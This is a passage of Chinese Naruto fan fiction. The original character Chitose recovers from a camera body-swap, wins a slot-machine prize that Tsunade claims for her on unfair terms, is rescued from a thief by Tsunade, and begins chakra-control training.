屏幕亮起,上面显现出两个人的身影——但并非是“鼬”和“千歲”的脸,而是实实在在顶着对方身体的千歲和止水,正一脸紧张地对着镜头。
鼬站在一旁,看着这奇妙的画面,轻声打气:“你们,加油。”
千歲把相机举到眼前,深吸一口气:“我要按咯……”
手指悬在快门上,停了几秒,她又猛地把手缩回来,闭着眼哀嚎:“果然我害怕嘛!!万一按错了怎么办!万一又出现其他恐怖的事情怎么办嘛!”
“前辈如果实在不敢的话,我来吧……”鼬上前一步,语气小心翼翼,带着一贯的体贴。
就在这时——
“千歲——!!你偷偷摸摸又在做什么坏事?!”一声中气十足的怒吼从远处炸响,像雷一样劈了下来。
宇智波枭早就觉得不对劲,一路跟着止水,来到了公园。
千歲被这一嗓子吓得整个人一激灵,手一抖,手指下意识按了下去——
“咔——嚓!”
一阵刺眼的闪光灯亮起,三人眼前同时一白。
等再次睁开眼睛时,世界重新聚焦。
千歲先看了看眼前的鼬——还是那张熟悉的冷淡脸。
她又低头看了看自己——裤子变成了裙子,再一摸头顶,是自己熟悉的金发。
“终于换回来了!!”她激动得差点原地蹦起来,“我是我!你是你!”
然而,兴奋仅仅持续了三秒。
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她转头一看,发现止水正顶着鼬的身体,一脸“我是谁我在哪”的茫然表情。
——也就是说,刚才那一下,只把她和鼬换回来了,而止水,则被拍到了鼬的身体里去了。
现在的局面变成了:千歲正常,止水在鼬身体里,鼬在止水身体里。
“止水!鼬!你们快!”千歲看着宇智波枭越走越近,“赶紧换回来!被我爸发现了就换不回来了!”
止水和鼬对视一眼,也立刻意识到情况危急。
“按快门!”鼬大喊。
止水手忙脚乱地举起相机,对着镜头里的自己和鼬,闭着眼就是一阵乱按——
“咔嚓!咔嚓!咔嚓咔嚓咔嚓——!!”
一连串闪光灯像小型雷暴一样在公园里亮起,把草地照得忽明忽暗。
随着最后一声“咔哒”落下,空气安静了几秒。
三人慢慢睁开眼。
止水低头看了看自己的手,又摸了摸自己的黑发,终于长出了一口气:“换回来了……我是止水。”
鼬也抬手理了理额前的碎发,声音恢复了一贯的清冷:“我回来了。”
就在这时,宇智波枭冲到他们面前,手里还拎着一只刚跑掉的木屐,一脸警惕地盯着他们:“你们三个,刚才在这儿搞什么?是不是又拿忍术胡闹?”
三人面面相觑,赶紧把相机藏到身后,异口同声地喊道:
“没有!我们在拍照!”
枭将信将疑地扫视了一圈,最终也没发现什么异常,只是板着脸丢下一句:“拍完就赶紧回家,别给我惹事。”说完,转身走了。
看着父亲的背影消失在公园门口,三个人同时瘫坐在草地上,长长地舒了一口气。
“呼……”千歲把脸埋进掌心,“以后再也不捡奇怪的相机了。”
就在这时,相机“嗒”地一声,两张照片轻飘飘地从底部掉了出来。此时,相机屏幕上显示:相纸缺失,3/3无法打印。
一张是一天前三人一起拍的合影,另一张则是刚刚千歲慌乱按下快门时抓拍的。
第二张照片,完完整整记录下了千歲被枭吼声吓得魂飞魄散的瞬间——她眼睛瞪得圆溜溜,嘴巴微微张着,一脸惊恐。
止水弯腰捡起照片,定睛一看,先是一愣,随即忍不住“噗嗤”笑出了声。“千歲,来看看你刚刚的表情。”
千歲凑过去一看,就抱怨:“什么嘛,这也太丑了。这破相机怎么专挑我最狼狈的时候拍。”
止水轻轻把照片往身后一收,语气却格外认真:“是吗?我倒觉得怪可爱的。”
话音刚落,千歲又像抢战利品一样夺过那张三人合照。照片里,三人都被刺眼的白光闪得眯起了眼睛,表情有些呆,又有些莫名的喜感。
她皱着鼻子,泄气地嘟囔着:“这张也没把我拍好看……算了,这两张都扔掉吧!”
“你不要那张双人照的话,我拿走咯。”止水笑着晃了晃手里那张拍着千歲惊恐小表情的照片。
“随便你,我才不要呢。”千歲一扭头,随即又把目光投向那张三人合影,“不过这张三人的,把鼬也拍进去了,不能丢。”
止水闻言:“那就给鼬吧。”
鼬伸出手,轻轻接过那张小小的相纸。指尖触碰到粗糙的纸面时,他愣了愣。照片里,止水、千歲,还有他自己,三人挤在一起,被闪得眯着眼。
这大概是他,第一次和除了家人之外的人,留下的合影。
他没有说话,只是沉默着,小心翼翼地把这张照片收好,放进了忍具包最深处、最贴身的那一层。
风吹过公园,树叶沙沙作响。
只剩下三个人之间轻松又温馨的细碎时光。一张糊掉的照片,成了这段奇妙经历里,最独一无二的小纪念。
23. 第二十三章 爱赌博的奇怪金发女子
某国的无名小村落
傍晚的风都带着懒散的烟火气。可某位金发女子此刻却半点轻松都没有,她站在赌坊门口,双手插在空空如也的钱袋里,连一枚铜板的重量都摸不到。
方才那一场豪赌,她输得彻彻底底。
所有积蓄、任务报酬、甚至偷偷藏起来的私房钱,全被她一股脑押上,最后一把翻牌,连渣都没剩下。
她烦躁地啧了一声,转身对身后提着小包、一脸小心翼翼的静音淡淡开口:
“回木叶。”
静音先是一愣,随即眼睛瞬间亮了起来,连日在外奔波的疲惫一扫而空,语气里藏不住的兴奋:
“太好了!纲手大人,我们终于要回村子了吗!”
她以为,这场没完没了的赌局流浪,总算要结束了。
可下一秒,纲手头也不回地补了一句,轻飘飘却足以让静音瞬间脸色发白:
“回去把家里最后那块地卖了。”
静音脸上的笑容瞬间僵住,脚步猛地停在原地。
她快步追上去:
“纲手大人!不行啊!那可是初代火影大人留给您最后的遗物了,是千手家唯一的念想,您千万不能卖啊!”
她拦在纲手面前。那片土地,是爷爷留给孙女最温柔的念想,是她无论落魄到什么地步,都不能碰的底线。
纲手停下脚步,侧过头看了她一眼。
金色的发丝垂在颊边,她明明眼底也藏着一丝不舍,却硬是挺起胸膛,摆出一副理直气壮、胸有成竹的模样,一字一句认真道:
“我不是卖。”
“是投资。”
她顿了顿,语气带着赌徒独有的、不服输的笃定:
“等我拿着钱翻本,一把赢回来,立刻就把地赎回来。”
静音看着她这幅明明输光了一切,却还坚信自己下一把必赢的样子,又心疼又无奈,却怎么也拦不住这位认定了主意就不回头的纲手姬。
纲手已经迈开步子,朝着木叶的方向走去。
背影依旧挺拔骄傲,只是静音心里清楚——
这一次,她怕是又要跟着大人,走向新一轮输到见底的赌局了。
木叶商业街
木叶的商业街正是最热闹的时候,人声鼎沸,满是烟火气。刚从父亲宇智波枭手里拿到零花钱的千歲,攥着温热的零钱袋,眼睛亮晶晶地直奔街口那台闪着彩灯的老虎机。
机器上方的牌子明晃晃写着—— 一等奖 20万,看得她心怦怦直跳。
明明出发前,枭严肃警告过她“别碰赌博类的东西,都是无底洞”,止水也笑着劝她“运气不会一直站在你这边的”。可此刻看着旋转的图案,千歲早就把叮嘱抛到脑后,在心里小声安慰自己:就玩一次,就一次,应该没事吧?
她兴奋地跑到窗口买了一张票,攥着小小的代币,兴冲冲站到老虎机前,手指都在微微发抖,完全没留意左边那台机器前,站着一位脸色发黑的金发女子。
正是千手纲手。
她身后的静音一脸生无可恋,小声劝着:“纲手大人,我们都已经第三十次了……钱也快没了,真的别再玩了吧……”
纲手死死盯着老虎机,咬着牙,心里只剩最后一丝倔强:就最后一次!这次再不中,我立刻走人!
同一秒——
千歲深吸一口气,兴奋地按下按钮。
纲手咬牙切齿,猛地拉下开关。
“咔——隆隆隆隆——”
两台机器同时旋转起来,彩灯闪烁,音乐轻快。
下一秒,声音戛然而止。
纲手这边的图案停下——没中,又是谢谢惠顾。
她整个人僵在原地,额角青筋都快跳出来,一股憋屈感直冲头顶。
可就在这时,旁边突然爆发出一声惊天动地的尖叫,差点震破她的耳膜:
“哇!是一等奖!!”
千歲金发都晃了起来,指着老虎机上整齐排列的一等奖图案,眼睛瞪得溜圆。
激动得快哭出来:“我中了!我真的中了!一发就中了!!”
老虎机瞬间响起庆祝音乐,彩灯疯狂闪烁,20万的大字亮得刺眼。
纲手缓缓转过头,看着千歲那张写满“天降好运”的小脸,再看看自己面前空空如也、连安慰奖都没有的机器,表情一瞬间变得像吞了一整只苍蝇一样复杂又扭曲。
她攥紧拳头,嘴角狠狠抽搐,在心底疯狂咆哮:
凭——什——么——!!
她赌了三十次,把钱快输光了都没中!
这小鬼随手一按就中了头奖?!
这世界也太不公平了吧——!!
静音在一旁看着纲手越来越黑的脸色,抱着豚豚默默往后缩了缩,不敢说话。
而千歲还沉浸在中大奖的狂喜里,完全没发现,旁边这位传说中的三忍。
千歲兴冲冲地拿着中奖小球,正准备往领奖台跑,脚步猛地一顿。
一道身影猝不及防地堵在了她面前,金发垂落,带着一股淡淡的风尘气,遮住了午后的阳光。
千歲愣在原地。
她这才看清,面前这位金发女子竟生得如此惊艳,琥珀色的瞳孔透着一股说不出的熟稔,那气场明明带着几分慵懒,却又让人不敢轻易冒犯。这是谁?木叶什么时候有了这么漂亮的大姐姐?
千歲看呆了,手里的小球差点滑掉。
纲手双手抱胸,居高临下地盯着这个抱着球、眼神直勾勾的小不点,嘴角勾起一抹玩味的笑:“小鬼,我用200块,买你手上这个球,卖不卖?”
千歲这才回过神,虽然反应慢半拍,但财迷的本能立刻觉醒。她把小球死死护在怀里,小脸一扬,摆出傲娇的姿态:“不要!这是我自己抽中的!我要自己去兑奖!”
纲手挑了挑眉,语气依旧轻松,却带着几分不容置疑的“大实话”:“看你样子也才十岁不到吧?未成年兑奖需要监护人陪同,你一个人,是兑不了奖的。”
这话一出,千歲心里瞬间咯噔一下。
好像……真的是这样?她偷偷瞥了眼领奖处的工作人员,对方果然一脸“需要证件”的严肃表情。
身后的静音连忙小声劝纲手:“纲手大人,您这也太欺负小孩子了吧……”
纲手头也不回,随手甩过去一个眼刀,静音瞬间闭麦,老老实实站着当背景板。
千歲心里那点侥幸还在硬撑:“我才不信呢!我偏要去试试!”
她说着就硬着头皮冲向领奖台,结果没两分钟,就垂头丧气地走了回来。
果然,工作人员指着表格,一脸公式化的微笑:“小朋友,需要提供监护人的银行账户或者存折,才能办理兑换手续。”
9岁的千歲哪里有这些?
把存折交给爸爸?那不等于直接告诉宇智波枭——“爸爸,我去玩老虎机中了大奖!” 光是想象一下枭混合着失望和愤怒的表情,她就浑身发抖,头皮发麻。
纲手缓步走到她面前,抱着手臂,看着这副碰一鼻子灰的模样,语气带着一丝得逞的淡定:“我没骗你吧?未成年就是麻烦。”
她话锋一转,露出一副“我是来帮你”的和善表情:“这样,我帮你兑换。20万,给你两万,如何?”
千歲虽然反应慢,但也知道被坑了。她反驳:“什么?不行!至少得分我一半吧?你凭什么拿那么多!”
纲手故作爽快地拍了拍手:“行,我出了人力又出了脑力,这样吧,我8你2,够爽快了吧?我这可是帮你大忙了。”
一旁的静音看着这赤裸裸的掠夺,忍不住扶额:“纲手大人,这样真的不会遭报应吗……”
“
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闭嘴。”纲手瞪了她一眼,又转头看向千歲,摆出一副“你没得选”的架势,“要么82分,要么一分没有,你自己看着办。你自己又兑不了奖,难道还要抱着球回家吗?”
千歲气得小脸通红,心里明明知道这是霸王条款,可手里这张中奖球不换出去就是一张废纸。
她像只炸毛的小猫:“那……那你7我3总可以了吧!你不能这么欺负小孩子!”
纲手眼底闪过一丝笑意,故意装作纠结的样子,最后大手一挥:“成交!”
这下,千歲才终于松了口气,抱着球,气鼓鼓地把球递给了这位看起来漂亮却一点也不老实的大姐姐,心里暗暗发誓:以后一定要好好学习忍术,再也不被人这么坑了!
领奖台的工作人员笑着核对信息,拿起话筒礼貌播报:
“恭喜这位客人,中奖人姓名——千手纲手。”
千歲整个人猛地一僵。
千、千手?!
这个姓氏……她小时候听爸爸宇智波枭提过,是和宇智波齐名的大族啊!
她愣愣抬头看向身边明艳的金发女子,心里瞬间炸开小小的惊叹:原来这位漂亮大姐姐,就是传说中的千手家的人吗?
可还没等她消化完这个冲击,工作人员下一句话直接把两人都砸懵了。
“奖金将在一个月内自动转入您的账户,请耐心等待。”
纲手脸上的笑容当场僵住:“……哈?”
千歲更是直接炸毛:
“钱呢?我还等着去买草莓大福。”
纲手也压不住火气,眉头紧锁:“什么叫取不出来?还没到账?”
她脑子里嗡的一声——
一个月?那她之前为了凑赌资卖掉的初代大人留下的土地,根本赶不回来赎回了!
一股烦躁直冲头顶,纲手猛地转头对静音吼:
“静音!把你身上的钱全都拿出来!”
静音一脸欲哭无泪,委屈巴巴地低下头:
“纲手大人……您在云忍村的时候就已经把我所有钱都搜刮光了,我现在真的……一分都没有了啊……”
“……”
纲手僵在原地,差点一口气没上来。
偏偏千歲还在她耳边叽叽喳喳,小手拽着她的衣袖晃来晃去,追着喊:
“还钱还钱!你骗我!你把我的奖金还给我啦!”
“吵死了……”纲手太阳穴突突直跳。
千歲见她想走,干脆一把抱住她的手腕,小小的身子挂在她胳膊上,又可爱又赖皮,死活不肯松手。
“不许走!你不准跑!”
纲手被拽得哭笑不得:“我不走,我能跑到哪去?”
千歲一脸理直气壮:
“我可是忍者!才不怕你呢!”
“哦?你是忍者,还不怕我?”纲手挑了挑眉,被这小不点逗得气都消了一半。
静音连忙在旁边打圆场,急得满头汗:
“纲手大人,这里人太多了,这样子影响不好……我们找个安静的地方再说吧。”
就在这时——
“咕——噜噜噜——”
纲手的肚子率先发出巨大的抗议声。
紧接着,静音的肚子也不甘示弱地响了起来。
就连静音怀里抱着的小猪豚豚,都委屈地“哼哼”了一声,小肚子一起咕咕叫。
因为没钱,从昨晚开始纲手和静音什么都没有吃。
场面一度十分尴尬。
纲手眼睛一转,蹲下身,对着还在闹脾气的千歲露出一个“和善”的笑容:
“肚子饿了,得先吃饱。吃饱了,才有力气去银行帮你催钱,对吧?”
千歲眨了眨眼,好像……有点道理。
没一会儿,三道身影外加一只小猪,浩浩荡荡地出现在了一乐拉面门口。
24. 第二十四章 传说中的三忍之一-纲手大人
一乐拉面店里
千歲认真盯着纲手强调:“你说好了的,等拿到奖金,要连拉面钱一起还给我哦!”
纲手单手撑着下巴,笑得漫不经心却格外可靠:“放心,我从来说一不二。”
“太好了!”千歲立刻蹦起来,朝着柜台大声喊,“一乐大叔,我要三碗叉烧拉面!”
一乐大叔掀开布帘探出头,一见是熟悉的小丫头,立刻露出爽朗的笑:“哦,千歲,好久没见啦,今天是请朋友来吃吗?”
可当他目光扫到桌边坐着的金发女子时,脸上的随和“唰”地一收,脊背瞬间绷直,连声音都放轻了好几度。
那可是……传说中的三忍,千手纲手大人啊。
千歲完全没察觉气氛变化,小手叉腰,一脸仗义地宣布:
“我是来救助这位姐姐的!她现在正在流浪当中!”
一乐大叔:“?”
他茫然眨了眨眼,看看气场强大的纲手,再看看一脸认真的千歲,最终还是默默转身揉面去了。
桌边的纲手听见“千歲”这个名字时,指尖微顿。
她不动声色地打量起眼前的小姑娘——
一样耀眼的金发,一双琥珀色里掺着浅红的眼眸,像极了藏在她记忆深处、很久不曾被提起的某个人。
难道……
没等她细想,三碗热气腾腾的叉烧拉面已经端上桌,香气瞬间漫开。
三人各自捧起一碗,只有静音怀里的豚豚委屈地“噗噗”两声,耷拉着耳朵——没有它的份。
千歲一看小猪可怜巴巴的模样,心立刻软了。
她小心翼翼夹出自己碗里最大的那块叉烧,用干净纸巾轻轻包好,递到豚豚嘴边,眼睛弯成小月牙:
“小猪给你吃,慢慢嚼哦。”
豚豚立刻呼哧呼哧啃了起来,小尾巴欢快地晃个不停。
纲手看着这一幕,眼底不自觉柔和下来,轻声开口:
“小鬼,我还不知道你叫什么。”
千歲咬着筷子,笑得一脸灿烂:
“我叫宇智波千歲。”
话音落下,纲手望着她的脸,视线慢慢与记忆里那张温柔的面容重叠。
奏的孩子吗。
……果然。
她猜中了。
纲手捧着拉面碗,状似随意地问了一句:
“平时都住在哪儿呢?”
千歲毫无防备,咬着叉烧就直接回答:
“我跟我老爸住一起,我们都住在宇智波族地呀。”
纲手闻言,脑海里立刻浮现出宇智波枭那张总是严肃冷淡的脸,又接着轻声问:
“你爸爸对你怎么样?”
千歲歪着小脑袋认真想了想,小眉头轻轻皱起,开始一五一十地吐槽:
“他老是板着个脸,动不动就生气。”
“心情不好的时候,早餐就给我做纳豆,难吃死了;心情好一点点的时候,才会偶尔做我爱吃的东西……”
说着说着,她像是找到了可以尽情诉苦的对象,越说越来劲,小嘴巴叭叭个不停:
“他从来都不给我买零食,说吃多了对身体不好;还整天婆婆妈妈的,一会儿让我叠衣服,一会儿让我整理被子,一会儿又要我把鞋子摆整齐……超严格的!”
纲手听着听着,嘴角几不可查地勾了一下,心里默默暗道:
枭那家伙,隐退之后,居然彻底转成全职保姆了。
不过……这样也没什么坏处。
一乐拉面的热气还飘在空气里,千歲吸着面条,耳朵却比谁都灵。
邻座阿姨一声轻呼还没出口,她已经看见一个衣衫破旧的男人,攥着钱包往门外冲。
“有小偷啊!”
千歲听闻,自己是忍者,怎么可能坐视不管。
“小偷!别跑!”
她筷子一丢,身子“嗖”一下就追了出去。
纲手本来撑着下巴,眼皮都懒得抬。
这种街头小偷小摸,她见得多了,懒得管,也没兴趣管。静音在一旁轻轻拉了拉她的袖子:“纲手大人,不出手真的好吗?”
“不是有那小鬼吗?”纲手抬了抬眼皮。
刚过几秒,外面就传来了拳脚相撞的闷响。
千歲双手结印,考虑到商业街人多,使用火遁有可能会引发火灾,于是便使出分身术。
可那扒手根本不是普通人,是别国覆灭后流浪到木叶的落魄忍者。他出手狠辣,没半点留情,千歲虽然有写轮眼加持,可年纪小、力气弱,几招下来就渐渐被逼到墙角。
“把钱包还回去!”
千歲结印,却被对方一脚扫中脚踝,踉跄着摔倒在地。
手掌擦过地面,火辣辣地疼。
她咬着牙爬起来,眼眶都红了,却硬是不肯退一步,死死盯着对方:“这是别人的东西!”
流浪忍者被逼得走投无路,眼神一狠,不再留手,握拳带着风声,直直朝她头顶砸下。
这一拳要是打实了,后果不堪设想。
千歲下意识闭上眼,却没打算躲——
那股明明害怕、却死撑着不肯低头的倔强,直直撞进纲手眼里。
一瞬间,纲手眼前晃过另一张脸。
却同样执拗的——千手奏。
那是千歲的母
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亲,也是纲手最熟悉的故人。
“啧。”
一声轻啧,纲手身影骤然消失在座位上。
下一秒,空气被怪力震得发出一声闷响。
千歲只觉得眼前一花,一道金色身影已经稳稳挡在她身前。
流浪忍者的拳头离千歲只剩一寸,却被纲手单手接住。
没有大喊,没有花哨招式,只是轻轻一握。
“咔嚓——”
骨节错位的轻响响起。
“啊——!!”
男人惨叫一声,整个人被一股恐怖的力量掀飞,狠狠砸在墙上,昏死过去。
钱包掉在地上,完好无损。
千歲僵在原地,整个人都看傻了。
刚才还凶得吓人的流浪忍者,在纲手面前,连一招都撑不过。
那股平静又压倒性的力量,帅得她心脏怦怦直跳。
纲手收回手,拍了拍衣角,低头看向还愣着的千歲,语气淡淡:
“傻站着干什么?不怕了?”
千歲猛地回神,仰着小脸,一脸崇拜地看着她,声音都在发抖:
“好厉害……”
刚从惊吓里缓过神,千歲才意识到刚才还在跟纲手炫耀自己是忍者,结果追个小偷差点被揍,还要人家出手救命。
想到自己之前叉着腰说“我可是忍者,才不怕你呢”的蠢样子,再看看眼前随手一拳就解决流浪忍者的纲手,千歲脸颊“唰”地烧得通红。
太出丑了……
可那份小小的窘迫里,又满满地翻涌着抑制不住的崇拜。眼前的人根本不是什么普通的流浪姐姐,而是真正站在忍者顶端的强者。
那份强大不凌厉、不凶狠,却足够安稳,足够让人安心。
等吃完拉面,千歲彻底把奖金的事情全都抛到了九霄云外。她像一只黏人的小猫跟在纲手身后,一步也不肯落下,隔几秒就小声喊一句:
“纲手大人……”
“纲手大人~”
纲手被她缠得无奈,停下脚步回头,挑眉看她:“小鬼,你到底想干嘛?”
纲手刚才出手的样子,已经深深把千歲折服。
千歲在忍校里,只有老师教过最基础的东西,从来没有接受过别人专门的指导。父亲枭也却从来不肯跟她提忍术,更没有教过她任何招式;止水的火遁和瞬身术很厉害,可那些都不适合自己。刚才看到纲手的战斗方式,没有复杂的结印,没有花哨的忍术,却那么可靠、那么强大……
她犹豫了好一会儿,直直望着纲手,小声又认真地开口:
“纲手大人……您、能不能教我刚才那一招?”
25. 第二十五章 修行!我不会认输的!
“不教。”
纲手回答得干脆利落,半点商量的余地都没有。
“什么!?”千歲当场僵在原地,眼睛瞪得圆溜溜的,不敢相信自己就这么被拒绝了。她立刻迈开腿追上去,像条甩不掉的小尾巴,死死跟在纲手身后,声音带着满满的撒娇和恳求,
“纲手大人~你教教我嘛!求你了!我可以帮你提包、帮你跑腿、还能再请你吃拉面!”
纲手目不斜视,继续往前走,完全不为所动。
“刚才那碗拉面钱,我不用你还了!”千歲急得大声强调。
纲手脚步依旧没停,心底却轻轻叹了口气。
她不是不想教,是不能教。宇智波枭那家伙的心思她再清楚不过——比起让千歲成为厉害的忍者,他更希望这孩子能平平安安、普普通通地长大,远离战场与纷争。
更何况,每次一看到千歲那眉眼,她就忍不住想起千手奏,心里那点柔软与顾虑,缠得她不敢轻易答应。
“奖金我也不要了!全部都给你!”
千歲最后这句急吼吼的话一落下,纲手的脚步终于顿住。
这正是她等的那句话。
什么宇智波枭,一边玩儿去吧。
她缓缓转过身,嘴角勾起一抹得逞又爽快的笑意,伸手轻轻一点:
“成交。外加,请我吃一个月的一乐拉面。”
“啊——?”
千歲瞬间垮下小脸,赶紧掏出自己的小钱包,翻开盖子认认真真数着里面为数不多的零钱。
一个月的拉面……那她得少吃多少个草莓大福啊!
看着千歲肉疼到五官都皱在一起的模样,纲手忍不住笑,补充道:
“不过,能不能学会,还要看你自己。我可不收笨徒弟。”
千歲一听有希望,立刻把肉疼抛到脑后,猛地抬起头,用力点头:
“我会努力的!我一定不笨!”
话虽如此。
当纲手亲眼看过千歲的查克拉控制后,还是忍不住轻轻叹了口气。
这查克拉控制……怎会糟糕到这种地步。
纲手心里默默摇头,已经对这小丫头的基础打了个不及格。可千歲完全没察觉到气氛不对,反而一脸期待地望着她。
纲手大人肯定觉得我很厉害吧!毕竟我可是很努力在集中精神了!
“纲手大人!你说我是不是特别有天赋啊?”
纲手看着她满眼闪闪发光的样子,实在不忍心泼冷水,只能含糊地应了一声:
“……嗯,是挺有天赋的。”
千歲瞬间得意起来,尾巴都快翘上天了,立刻迫不及待追问:
“纲手大人,那我们什么时候开始学新忍术啊?”
终于可以学到超帅的招式了!到时候止水和鼬都会吓一跳吧!
“还早着呢。”纲手无奈地摆摆手,“你先得把查克拉控制彻底练好。”
千歲脸上的笑容瞬间僵住,整个人像泄了气的皮球一样耷拉下来。
啊——怎么又是查克拉啊……
她在心里哀嚎一声,满脸写着抗拒。练习火遁的时候她就最怕这个了,怎么学怪力也躲不开这玩意儿。
“啊?怎么还是绕不开查克拉啊,练习火遁的时候我就最怕控制这玩意儿了。”
纲手顺口一问:“你火遁如何?”
千歲脸颊一红,不好意思地低下头:“完全不行。”
每次都控制不好,要么炸成小火星,要么烧到自己头发,丢死人了……
纲手眼底掠过一丝笑意,语气带着几分笃定:“就练火遁。”
“啊??”千歲彻底懵了,一脸茫然地看着她。
怎么反而要练我最不擅长的火遁啊?
“不是让你真的拼命练火遁,”纲手耐心解释,“是让你用火遁的过程,去精炼查克拉,达到最细致的控制程度。”
说罢,纲手随手示范起来。只见查克拉稳稳聚于脚底,她在悬崖壁上如履平地;又轻轻伸出小拇指,仅凭指尖就顶住了一块沉重的巨石,控制力精准得可怕。
千歲看得目瞪口呆,心里只剩下震撼:
哇……好厉害!这就是大人的查克拉控制吗!太帅了吧!我也要变成这样!
虽然心里还是怕麻烦,但一想到能学会纲手那样的力量,她立刻重新打起精神,干劲满满地应道:“好!我照做!”
看着千歲蹦蹦跳跳跑去修行的小小背影,纲手轻轻叹了口气,心里默默想着:
但愿这孩子不是三分钟热度。
刚吃完拉面的饱腹感涌上来,纲手微微有些晕碳,眼皮也开始打架。随意靠着一棵大树坐下,阳光暖暖地洒在身上,风吹树叶沙沙作响。
没一会儿,望着千歲认真修行的背影,纲手呼吸渐渐平稳,不知不觉便睡了过去。
纲手指定的训练区选在村子西侧一处平缓的崖壁下,既有可以练习吸附的坡面,又有堆放好的石块,安静又安全。千歲攥着小拳头,看着眼前的崖壁和石头,心里既紧张又兴奋。
第一步,是查克拉吸附——把查克拉平稳附在脚底,贴在崖壁上不掉落。
千歲学着纲手刚刚的样子,双脚并拢,努力在心底默念“集中、集中”,试图把体内的查克拉一点点引到脚底。可查克拉像是故意和她作对似的,要么一股脑涌上来,让她脚底一滑,“啪叽”一下摔坐在地上;要么稀稀拉拉散掉,刚贴住崖壁半寸,身子就晃晃悠悠往下滑。
一次、两次、三次……
她摔得屁股生疼,手掌也被磨得发红,额头上渗出细密的汗珠,金发黏在脸颊边。
明明纲手大人做起来那么轻松,像走路一样简单,怎么到我这儿就这么难啊……
千歲瘪着嘴,有点委屈,又有点不服气,拍了拍裙子上的泥土,再次踮脚贴向崖壁。这一次她屏住呼吸,一点点控制查克拉流动,好不容易稳住了两秒,脚下一松,又重重摔了下去。
“呜……”她小声哼了一下,眼眶微微发热,却硬是没哭。
不行不行,我不能这么没用,纲手大人还在看着呢,我一定要做到!
她咬着下唇,一次又一次尝试,崖壁上留下一串浅浅的、歪歪扭扭的脚印,她也从一开始的慌乱,慢慢摸到了一点点门道。
等终于能在崖壁上站稳三秒时,千歲激动得差点跳起来,可一松懈,又摔回了原地。
好不容易熬过吸附训练,接下来是小拇指顶重石——把精准的查克拉聚在指尖,撑起比自己手臂还粗的石块。
这对查克拉控制的要求更高。
千歲伸出小拇指,绷紧小脸,努力把查克拉往指尖
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送。
可查克拉要么粗狂暴流,刚碰到石头就把石块推得歪向一边;要么微弱得毫无力气,石头纹丝不动。
有一次她用力太猛,查克拉失控,石头一晃,砸在了她的脚边,吓得她猛地缩回手,心脏怦怦直跳。
好危险……原来控制查克拉这么难,比我想象中难一百倍一千倍。
千歲看着微微发抖的手指,心里第一次打起了退堂鼓。她想起忍校里练不好火遁的自己,想起总是学不会瞬身术的自己,一股小小的失落涌了上来。
可她一抬头,看见不远处靠着大树闭目休息的纲手,阳光落在那人金色的发梢上。
我不能放弃……
千歲深吸一口气,甩了甩发酸的手腕,再次把小拇指伸向石块。她放慢速度,一点一点感受查克拉的流动,像在捕捉一只调皮的小蝴蝶。指尖微微发麻,胳膊也酸得快要抬不起来,汗水顺着下巴滴落,可她依旧没有停下。
终于,在不知道第几十次尝试后,那块沉重的石头,轻轻晃了一下。
就一下,却让千歲瞬间眼睛发亮。
“动了……我做到了!”
她在心底小声欢呼,疲惫好像一下子消失了大半。
虽然依旧摇摇晃晃,虽然离纲手那种轻松自如还差得远很远,可这小小的进步,已经让她重新充满了力气。她继续专注地练习着,小小的身影在崖壁与石块之间反复折腾,跌跌撞撞,却始终没有停下脚步。
草地上满是少女努力的痕迹,笨拙,却无比认真。
夕阳渐渐沉下,晚风带着凉意吹过空旷的训练场,吹得千歲湿透的额发贴在脸颊上。整整一个下午,她没有休息过一刻,从烈日当头练到暮色降临,好不容易才勉强做到——在悬崖上吸附三秒,那是她用尽全部专注力换来的极限;而用小拇指催动查克拉,也只能让沉重的巨石微微晃动一丝一毫。
即便只是这样微不足道的进步,在她心里,也已经是拼尽全力换来的珍贵成果。
就在这时,靠在大树上休息的纲手缓缓睁开了眼,慢条斯理地起身,一步步朝她走近。
看到纲手走来的那一刻,千歲的心脏瞬间提到了嗓子眼,整个人下意识地绷紧脊背,连呼吸都变得小心翼翼。她紧张得手心冒汗,脑子里反复回想刚才练习的动作,生怕等会儿演示时出现一丝失误。
一定要做好,一定要让纲手大人看到我的努力!
她深吸一口气,先是集中全部精神,将查克拉缓缓输送到脚底,踮起脚尖稳稳贴在崖壁上,一秒、两秒、三秒——在极限到来前轻轻跳落。紧接着,她又立刻伸出发酸发疼的小拇指,憋红了脸调动起微弱却坚定的查克拉,让巨石轻轻晃了一下。
做完这一切,她仰着通红的小脸,眼睛一眨不眨地望着纲手,目光里盛满了期待、紧张与不安,像一只等待夸奖的小猫。
纲手大人,您看,我真的有在进步,我没有偷懒……
然而,纲手只是平静地垂眸看着她,琥珀色的眼眸里没有丝毫情绪,没有赞许,没有惊讶,甚至连一点波澜都没有。那平静的眼神,反而比斥责更让她心慌。
下一秒,冰冷的话语直直砸进她的心里。
“你还是不要学了,你没有这个天赋。”
“练了一下午,就只有这么点长进吗?”
26. 第二十六章 木叶的苍蓝猛兽 迈特凯
“你没有这个天赋,你还是不要学了。”
那一瞬间,千歲仿佛被雷击中一般,整个人僵在原地,大脑一片空白。
她不敢相信自己的耳朵,更不敢相信,自己一下午拼尽全力的努力,在对方眼里竟然如此不值一提。
“可是我已经很努力了!”她几乎是下意识地脱口而出,声音带着抑制不住的颤抖。
真的用尽了全部力气,一次又一次摔倒,一次又一次爬起来,从来没有这么认真过……
纲手却只是淡淡抬眼,语气没有半分缓和,一字一句清晰而残酷:“再努力,没有结果,有什么用?”
这句话像一把锋利的刀,瞬间刺破了她所有的期待与骄傲。
还没等她从震惊中回过神,纲手已经丢下了最后通牒:“还想让我指导你,三天内,必须达到我刚才示范的水平。”
说完,她便转身吩咐静音准备前往会见三代目火影,金色的身影渐渐远去,没有一丝留恋,没有一句安慰。
千歲孤零零地站在原地,夕阳把她小小的影子拉得又细又长。
委屈、难过、不甘、茫然,各种情绪一瞬间涌上心头,堵得她胸口发闷,眼眶一阵阵发烫。
她忽然清晰地意识到,她一直活在父亲枭的庇护下,无论她做成什么样子,枭从不会真正苛责她;身边又有止水处处给她兜底,就算忍术练得一塌糊涂,止水也从不说一句重话,永远温柔鼓励,永远耐心安慰。
她从小到大,从未被人这样直白地否定过。
从来没有人,一句话就打碎她所有的努力。
这是她第一次被人如此干脆地拒绝,第一次被人当面判定“没有天赋”,第一次发现,不是只要努力,就一定会被认可。
心里酸酸涩涩的,眼泪几乎要夺眶而出,可她却死死咬住下唇,硬是不让一滴眼泪掉下来。
就这样放弃吗?
就这样承认自己没有天赋吗?
就这样让纲手大人看扁吗?
不,绝对不是。
她能一下午从完全不会,进步到吸附三秒;她能在一次次摔倒后重新站起;她能为了喜欢的力量坚持整整一个下午。三天时间,不算长,但绝对足够她再往前迈一大步。
